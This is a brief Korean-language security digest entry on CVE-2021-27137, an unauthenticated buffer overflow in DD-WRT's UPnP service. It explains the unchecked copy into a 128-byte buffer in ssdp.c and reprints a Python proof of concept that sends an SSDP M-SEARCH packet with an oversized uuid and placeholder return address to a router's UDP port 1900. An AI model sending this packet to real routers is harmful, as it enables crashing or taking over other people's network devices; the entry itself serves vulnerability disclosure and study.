[하루한줄] CVE-2021-27137: DD-WRT UPNP Buffer Overflow

URL

SSD Advisory – DD-WRT UPNP Buffer Overflow

Target

  • DD-WRT

Explain

리눅스 기반의 무선 라우터 및 액세스 포인트 펌웨어인 DD-WRT에서 인증되지 않은 사용자가 버퍼 오버플로우를 통해 Code Execution을 할 수 있는 취약점이 발견되었습니다.

Universal Plug and Play(UPNP)는 컴퓨터, 프린터, 인터넷 게이트웨이, 와이파이 access point, 모바일 장치와 같은 네트워크 장치들이 네트워크에서 서로를 탐색하고 네트워크 서비스 기능을 제공하는 네트워크 프로토콜입니다. 기본 설정에서 DD-WRT의 UPNP는 비활성화되어 있습니다. UPNP는 UDP 형식의 인증되지 않은 프로토콜로 DD-WRT에 UPNP 서비스가 활성화된 경우 DD-WRT의 LAN에 있는 해커가 큰 크기의 uuid 값을 전송하여 버퍼 오버플로우를 트리거할 수 있습니다. 취약점이 존재하는 ssdp.c 코드는 다음과 같습니다.

img

name 버퍼의 크기는 128 bytes이지만, 데이터를 복사할 때 데이터 크기 값에 대한 검증이 존재하지 않아서 버퍼 오버플로우가 발생합니다. 해당 취약점의 POC는 아래와 같습니다.

import socket
target_ip = "192.168.15.124" # IP Address of Target
off = "D"*164
ret_addr = "AAAA" 
payload = off + ret_addr
packet = \
    'M-SEARCH * HTTP/1.1\r\n' \
    'HOST:239.255.255.250:1900\r\n' \
    'ST:uuid:'+payload+'\r\n' \
    'MX:2\r\n' \
    'MAN:"ssdp:discover"\r\n' \
    '\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.sendto(packet.encode(), (target_ip, 1900) )